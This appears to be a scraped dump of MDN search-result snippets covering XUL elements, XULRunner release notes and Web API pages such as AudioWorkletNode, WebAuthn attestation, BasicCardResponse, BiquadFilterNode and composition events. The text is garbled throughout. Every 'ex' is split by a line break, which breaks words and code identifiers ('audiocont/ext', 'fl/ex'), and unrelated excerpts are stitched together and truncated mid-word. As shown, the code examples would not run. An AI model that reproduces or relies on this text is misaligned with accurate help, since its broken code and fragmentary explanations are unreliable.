... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height,...
... hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespac...
treeseparator - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] used to place a separator row in a tree.
... attributes properties
examples (
example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height,...
... hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespac...
vbox - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
... this is equivalent to the box element,
except it defaults to vertical orientation.
...
example <!-- two labels at bottom --> <vbox> <spacer fl
ex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align...
..., , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute()...
XUL - Archive of obsolete content
overlays overlays are used to describe
extra content for the ui.
... they provide a powerful mechanism for
extending and customizing
existing xul applications.
... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul
explorer (a lightweight xul ide) xul
explorer (patched version of xul
explorer)
extension developer's
extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascript/html) view all...
... related topics javascript, xbl , css, rdf,
extensions, xulrunner ...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... windows from a command prompt, run xulrunner.
exe --unregister-global or xulrunner.
exe --unregister-user to unregister xulrunner just as you registered it during installation.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.8.0.4\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/applicationname linux run the following command in a command prompt: /opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... windows from a command prompt, run xulrunner.
exe --unregister-global or xulrunner.
exe --unregister-user to unregister xulrunner just as you registered it during installation.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9.1\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/applicationname linux run the following command in a command prompt: /opt/xulrunner/1.9.1/xulrunner/xulrunner --install-app ~/desktop/myappl...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... windows from a command prompt, run xulrunner.
exe --unregister-global or xulrunner.
exe --unregister-user to unregister xulrunner just as you registered it during installation.
...type sudo rm /var/db/receipts/org.mozilla.xulrunner.* installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9.2\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/applicationname linux run the following command in a command prompt: /opt/xulrunner/1.9.2/xulrunner/xulrunner --install-app ~/desktop/myapplic...
XULRunner 1.9 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... windows from a command prompt, run xulrunner.
exe --unregister-global or xulrunner.
exe --unregister-user to unregister xulrunner just as you registered it during installation.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/applicationname linux run the following command in a command prompt: /opt/xulrunner/1.9/xulrunner/xulrunner --install-app ~/desktop...
XULRunner 2.0 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... windows from a command prompt, run xulrunner.
exe --unregister-global or xulrunner.
exe --unregister-user to unregister xulrunner just as you registered it during installation.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\2.0\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/applicationname linux run the following command in a command prompt: /opt/xulrunner/2.0/xulrunner/xulrunner --install-app ~/desktop/myapplicatio...
What XULRunner Provides - Archive of obsolete content
the following features are either already implemented or planned: gecko features xpcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml
extras (xmlhttprequest, domparser, etc.) web services (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulr...
...
extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activ
ex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if developer time permits and code size is controlled:...
... ldap support spellchecking support (with or without dictionaries provided) see bug 285977 core support for profile roaming (with application-specific
extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that includes the pyxpcom bindings and there is a working python available.
... what's out xulrunner will not supply: bookmarks or history ui (must be managed by the application/embedder) xforms (xforms will be available as an
extension) ...
AudioWorkletNode - Web APIs
although the interface is available outside secure cont
exts, the baseaudiocont
ext.audioworklet property is not, thus custom audioworkletprocessors cannot be defined outside them.
...
examples in this
example we create a custom audioworkletnode that outputs white noise.
... // white-noise-processor.js class whitenoiseprocessor
extends audioworkletprocessor { process (inputs, outputs, parameters) { const output = outputs[0] output.foreach(channel => { for (let i = 0; i < channel.length; i++) { channel[i] = math.random() * 2 - 1 } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) n
ext, in our main script file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph.
... const audiocont
ext = new audiocont
ext() await audiocont
ext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocont
ext, 'white-noise-processor') whitenoisenode.connect(audiocont
ext.destination) specifications specification status comment web audio apithe definition of 'audioworkletnode' in that specification.
AudioWorkletProcessor - Web APIs
processing audio an
example algorithm of creating a custom audio processing mechanism is: create a separate file; in the file:
extend the audioworkletprocessor class (see "deriving classes" section) and supply your own process() method in it; register the processor using audioworkletglobalscope.registerprocessor() method; load the file using addmodule() method on your audio cont
ext's audioworklet pro...
...
examples in the
example below we create a custom audioworkletnode that outputs white noise.
... // white-noise-processor.js class whitenoiseprocessor
extends audioworkletprocessor { process (inputs, outputs, parameters) { const output = outputs[0] output.foreach(channel => { for (let i = 0; i < channel.length; i++) { channel[i] = math.random() * 2 - 1 } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) n
ext, in our main script file we'll load the processor, create an instance of audioworkletnode, passing it the name of the processor, then connect the node to an audio graph.
... const audiocont
ext = new audiocont
ext() await audiocont
ext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocont
ext, 'white-noise-processor') whitenoisenode.connect(audiocont
ext.destination) specifications specification status comment web audio apithe definition of 'audioworkletprocessor' in that specification.
AuthenticatorAttestationResponse.attestationObject - Web APIs
the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for
example, android or tpm attestations).
...note that in authenticatorassertionresponse, the authenticatordata is
exposed as a property in a javascript object while in authenticatorattestationresponse, the authenticatordata is a property in a cbor map.
... fmt a t
ext string that indicates the format of the attstmt.
...
examples var publickey = { challenge: /* from the server */, rp: { name: "
example corp", id : "login.
example.com" }, user: { id: new uint8array(16), name: "jdoe@
example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { ...
AuthenticatorAttestationResponse.getTransports() - Web APIs
note: this method may only be used in top-level cont
exts and will not be available in an <iframe> for
example.
... return value an array containing the different transports supported by the authenticator or nothing if this information is not available.of the processing of the different
extensions by the client.
... the elements of this array are supposed to be in l
exicographical order.
...
examples var publickey = { challenge: /* from the server */, rp: { name: "
example corp", id : "login.
example.com" }, user: { id: new uint8array(16), name: "jdoe@
example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); ...
BasicCardResponse.billingAddress - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...dick straw", "cardsecuritycode" : "999", "
expirymonth" : "07", "
expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbillingaddresschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes di...
... samsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must
explicitly enable this feature.user must
explicitly enable this feature.
BasicCardResponse.cardNumber - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...dick straw", "cardsecuritycode" : "999", "
expirymonth" : "07", "
expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardnumberchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabl...
... samsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must
explicitly enable this feature.user must
explicitly enable this feature.
BasicCardResponse.cardSecurityCode - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...dick straw", "cardsecuritycode" : "999", "
expirymonth" : "07", "
expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardsecuritycodechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes ...
... samsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must
explicitly enable this feature.user must
explicitly enable this feature.
BasicCardResponse.cardholderName - Web APIs
example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...dick straw", "cardsecuritycode" : "999", "
expirymonth" : "07", "
expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardholdernamechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes di...
... samsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must
explicitly enable this feature.user must
explicitly enable this feature.
BeforeInstallPromptEvent - Web APIs
nline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">event</t
ext></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeinstallpromptevent" target="_top"><rect x="116" y="1" width="240...
..." height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">beforeinstallpromptevent</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} constructor beforeinstallpromptevent() creates a new beforeinstallpromptevent.
...this is provided for user agents that want to present a choice of versions to the user such as, for
example, "web" or "play" which would allow the user to chose between a web version or an android version.
...
example window.addeventlistener("beforeinstallprompt", function(e) { // log the platforms provided as options in an install prompt console.log(e.platforms); // e.g., ["web", "android", "windows"] e.userchoice.then(function(choiceresult) { console.log(choiceresult.outcome); // either "accepted" or "dismissed" }, handleerror); }); ...
BeforeUnloadEvent - Web APIs
when a non-empty string is assigned to the returnvalue event property, a dialog box appears, asking the users for confirmation to leave the page (see
example below).
...le="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">event</t
ext></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeunloadevent" target="_top"><rect x="116" y="1" width="170" heigh...
...t="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">beforeunloadevent</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects defaultview interface event
examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
... an almost-cross-browser working
example would be close to the below
example.
BiquadFilterNode.Q - Web APIs
syntax var audioctx = new audiocont
ext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.q.value = 100; note: though the audioparam returned is read-only, the value it represents is not.
...
example the following
example shows basic usage of an audiocont
ext to create a biquad filter node.
... for a complete working
example, check out our voice-change-o-matic demo (look at the source code too).
... var audioctx = new (window.audiocont
ext || window.webkitaudiocont
ext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadf...
BiquadFilterNode.detune - Web APIs
syntax var audioctx = new audiocont
ext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.detune.value = 100; note: though the audioparam returned is read-only, the value it represents is not.
...
example the following
example shows basic usage of an audiocont
ext to create a biquad filter node.
... for a complete working
example, check out our voice-change-o-matic demo (look at the source code too).
... var audioctx = new (window.audiocont
ext || window.webkitaudiocont
ext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; spec...
BiquadFilterNode.frequency - Web APIs
syntax var audioctx = new audiocont
ext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.frequency.value = 3000; note: though the audioparam returned is read-only, the value it represents is not.
...
example the following
example shows basic usage of an audiocont
ext to create a biquad filter node.
... for a complete working
example, check out our voice-change-o-matic demo (look at the source code too).
... var audioctx = new (window.audiocont
ext || window.webkitaudiocont
ext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specificatio...
BiquadFilterNode.type - Web APIs
syntax var audioctx = new audiocont
ext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = 'lowpass'; value a string (enum) representing a biquadfiltertype.
... not used
example the following
example shows basic usage of an audiocont
ext to create a biquad filter node.
... for a complete working
example, check out our voice-change-o-matic demo (look at the source code too).
... var audioctx = new (window.audiocont
ext || window.webkitaudiocont
ext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specificatio...
BlobEvent.timecode - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimecode
experimentalchrome full support 57edge full support ≤79firefox ?
... nosamsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknown
experimental.
...
expect behavior to change in the future.
experimental.
...
expect behavior to change in the future.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
if the element at the specified point belongs to another document (for
example, the document of an <iframe>), that document's parent element is returned (the <iframe> itself).
... if the element at the given point is anonymous or xbl generated content, such as a t
extbox's scroll bars, then the first non-anonymous ancestor element (for
example, the t
extbox) is returned.
...
example this
example creates two buttons which let you set the current color of the paragraph element located under the coordinates (2, 2).
... html <p id="para1">some t
ext here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> the html provides the paragraph whose color will be affected, as well as two buttons: one to change the color to blue, and another to change the color to red.
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
this proprietary method is specific to internet
explorer and microsoft edge.
... syntax object.mselementsfromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist
example to find all of the elements under a given point, use mselementsfrompoint(x, y).
... var nodelist = document.mselementsfromrect(x,y,width,height) var nodelist = document.mselementsfrompoint(x,y) the returned nodelist is sorted by z-ind
ex so that you can tell the relative stacking order of the elements.
... see also advanced hit testing apis demo for mselementsfrompoint() and mselementsfromrect() microsoft api
extensions ...
Locating DOM elements using selectors - Web APIs
this is much faster than past techniques, wherein it was necessary to, for
example, use a loop in javascript code to locate the specific items you needed to find.
... you may find
examples and details by reading the documentation for the element.queryselector() and element.queryselectorall() methods, as well as in the article code snippets for queryselector.
...for
example, to select all paragraph (p) elements in a document whose css class is either warning or note, you can do the following: var special = document.queryselectorall( "p.warning, p.note" ); you can also query by id.
... for
example: var el = document.queryselector( "#main, #basic, #
exclamation" ); after
executing the above code, el contains the first element in the document whose id is one of main, basic, or
exclamation.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multipl
exed together at once.
...dynamicscompressornode is an audionode that has
exactly one input and one output; it is created using the audiocont
ext.createdynamicscompressor() method.
...
example the below code demonstrates a simple usage of createdynamicscompressor() to add compression to an audio track.
... for a more complete
example, have a look at our basic compressor
example (view the source code).
Element.clientHeight - Web APIs
it includes padding but
excludes borders, margins, and horizontal scrollbars (if present).
... when clientheight is used on the root element (the <html> element), (or on <body> if the document is in quirks mode), the viewport's height (
excluding any scrollbar) is returned.
...
example specification specification status comment css object model (cssom) view modulethe definition of 'clientheight' in that specification.
... working draft notes clientheight is a property introduced in the internet
explorer object model.
Element.clientTop - Web APIs
(actually might be math.round(parsefloat()).) for
example, if the computed "border-top-width" is zero, then clienttop is also zero.
... syntax var top = element.clienttop;
example in the following illustration, the client area is show in white.
...ut enim ad minim veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip
ex ea commodo consequat.
...
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Element: compositionend event - Web APIs
the compositionend event is fired when a t
ext composition system such as an input method editor completes or cancels the current composition session.
... for
example, this event could be fired after a user finishes entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none
examples const inputelement = document.queryselector('input[type="t
ext"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live
example html <div class="control"> <label for="name">on macos, click in the t
extbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="t
ext" id="
example" name="
example"> </div> <div class="event-log"> <label>event log:</label> <t
extarea readonly class="event-log-contents" rows="8" cols="25"></t
extarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: gri...
...d; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="t
ext"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="t
ext"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.t
extcontent = ''; }); function handleevent(event) { log.t
extcontent = log.t
extcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', ha...
Element: compositionstart event - Web APIs
the compositionstart event is fired when a t
ext composition system such as an input method editor starts a new composition session.
... for
example, this event could be fired after a user starts entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none
examples const inputelement = document.queryselector('input[type="t
ext"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live
example html <div class="control"> <label for="name">on macos, click in the t
extbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="t
ext" id="
example" name="
example"> </div> <div class="event-log"> <label>event log:</label> <t
extarea readonly class="event-log-contents" rows="8" cols="25"></t
extarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: g...
...rid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="t
ext"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="t
ext"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.t
extcontent = ''; }); function handleevent(event) { log.t
extcontent = log.t
extcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', ...
Element: compositionupdate event - Web APIs
the compositionupdate event is fired when a new character is received in the cont
ext of a t
ext composition session controlled by a t
ext composition system such as an input method editor.
... for
example, this event could be fired while a user enters a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none
examples const inputelement = document.queryselector('input[type="t
ext"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live
example html <div class="control"> <label for="name">on macos, click in the t
extbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="t
ext" id="
example" name="
example"> </div> <div class="event-log"> <label>event log:</label> <t
extarea readonly class="event-log-contents" rows="8" cols="25"></t
extarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: ...
...grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="t
